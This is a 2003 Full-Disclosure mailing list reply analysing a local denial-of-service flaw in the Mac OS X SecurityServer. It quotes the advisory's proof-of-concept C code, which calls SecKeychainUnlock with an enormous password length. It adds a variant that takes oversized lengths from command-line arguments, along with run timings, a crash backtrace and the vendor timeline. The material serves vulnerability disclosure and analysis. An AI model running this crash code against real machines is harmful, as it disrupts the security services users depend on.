[Full-Disclosure] Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin.

From: William A. Carrel (william.a_at_carrel.org)
Date: 12/31/03

  • Next message: townsend_at_northlink.com: "[Full-Disclosure] XSS vulnerability in Canon webcam" 
    To: full-disclosure@lists.netsys.com
Date: Tue, 30 Dec 2003 19:37:58 -0800

    In article <BC175C14.1C6E%marukka@mac.com>,
     Matt Burnett <marukka@mac.com> wrote:

    > Advisory Name
    > Local Denial Of Service Attack Against The SecurityServer Daemon In MacOS X,
    > MacOS X Server, And Darwin.
    > Proof Of Concept Code
    > To build this code run ³gcc <file name> -framework Security ­o
    > CrashSecurityServer²
    >
    > #include <Security/Security.h>
    > int main(int argc, const char *argv[])
    > {
    > SecKeychainRef defaultKeychain;
    > SecKeychainCopyDefault(&defaultKeychain);
    > SecKeychainLock(defaultKeychain);
    > SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
    > return 0;
    > }

    I've done some cursory testing on a G5 with code that generates a fake
    length password.... This winds up in the middle of the above code...

        /* Build the password string */
        n = atoi(argv[1]); /* sure... I trust argv... */
        s = (char *)malloc(n+1);
        for (i=0; i < n; i++)
           s[i] = 'A' + (i % 26);
        s[n] = '\0';
           
        i = SecKeychainUnlock(defaultKeychain, n+atoi(argv[2]), s, true);
        printf("Returned %i\n",i);

    So argv[1] is the length of the bogus password to generate and argv[2]
    is the amount of extra passwordLength to pad on. Some sample runs
    showed the following output and times:
    (8 byte password, 60k extra length)
    Returned -25293
    ./OflowSecurityServer 8 60000 0.02s user 0.02s system 1% cpu 2.105 total
    (8 byte password, 600k extra length)
    Returned -25293
    ./OflowSecurityServer 8 600000 0.03s user 0.01s system 0% cpu 19.212
    total

    The scaling seems to be close to linear based on the length of the
    string. But then something interesting happens:

    Returned -2147414015
    ./OflowSecurityServer 8 6000000 0.02s user 0.01s system 63% cpu 0.047
    total

    Returned -2147414015
    ./OflowSecurityServer 8 6000000 0.01s user 0.03s system 0% cpu 5.197
    total

    Returned -2147414015
    ./OflowSecurityServer 8 4294967287 0.02s user 0.01s system 72% cpu
    0.041 total

    That's MININT + 69633. No idea what the significance there is. And
    equivilant CPU time is spent with the SecurityServer process doing
    something if a wait is indicated by a large wall clock time in those
    examples.

    On this G5 anyway, I'm unable to replicate the SecurityServer crash.
    Results from a G4 scale similarly at first, but do crash the
    SecurityServer for 0xffffffff passwordLength.

    The corefile gives the following callpath: (thanks John)
    Thread 0 Crashed:
    0 <<00000000>> 0xffff8cf4 __memcpy + 0x554
    1 com.apple.security 0x920fa534 sha1AddData + 0xa0
    2 com.apple.security 0x92102a68 hmacInit + 0x6c
    3 com.apple.security 0x9210294c hmacsha1 + 0x54
    4 com.apple.security 0x9210286c F + 0x8c
    5 com.apple.security 0x92102768 pbkdf2 + 0x84
    6 com.apple.security 0x921026c0
    AppleCSPSession::DeriveKey_PBKDF2(Security::Context const&,
    Security::CssmData const&, cssm_data*) + 0x174
    7 com.apple.security 0x9210249c AppleCSPSession::DeriveKey(unsigned
    long long, Security::Context const&, Security::CssmData&, unsigned long,
    unsigned long, Security::CssmData const*, cssm_resource_control_context
    const*, Security::CssmKey&) + 0x1bc
    8 com.apple.security 0x92102228 cssm_DeriveKey(unsigned long,
    unsigned long long, cssm_context const*, cssm_data*, unsigned long,
    unsigned long, cssm_data const*, cssm_resource_control_context const*,
    cssm_key*) + 0x304
    9 com.apple.security 0x92101dec CSSM_DeriveKey + 0xa8
    10 com.apple.security 0x921014f8
    Security::CssmClient::DeriveKey::operator()(Security::CssmData*,
    Security::CssmClient::KeySpec const&) + 0x234

    We can see from here that part of the problem is in the following file:
    http://cvs.opendarwin.org/index.cgi/src/Security/AppleCSP/MiscCSPAlgs/SHA
    1.c?rev=1.1.1.2&content-type=text/x-cvsweb-markup in sha1AddData()
    Cursory examination tends to indicate that the ridiculously large
    passwordLength is simply being passed on through these calls without any
    vetting of whether it is a reasonable value. And with an insane
    count/blocks value in sha1AddData's call to shsUpdate(), the memcpy that
    shsUpdate does can quite easily stomp off into oblivion causing a
    segmentation fault.

    Hopefully someone can build on the information given here. I think
    sufficient source may be available for a homebrew fix, but I have to
    attend to other matters at this particular moment.

    > Vendor Response
    > Apple Developer Connection told me that Apple does not give release dates
    > for patches.
    > 11-20-03 Vendor is notified of flaw and is supplied with
    > proof of concept code.
    > 12-29-03 Asked vendor for status update. Apple Product
    > Security referred me to Apple Developer Connection.
    > Apple Developer Connection informed me that Apple
    > does not give release dates for patches.
    > 12-30-03 Advisory and proof of concept code
    > released.

    Yeah, Apple doesn't seem very interested in maintaining any sort of
    status contact with people submitting security reports to them right
    now. Hopefully this will change in the future. 

    -- 
William A. Carrel
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
  • Next message: townsend_at_northlink.com: "[Full-Disclosure] XSS vulnerability in Canon webcam"

    Relevant Pages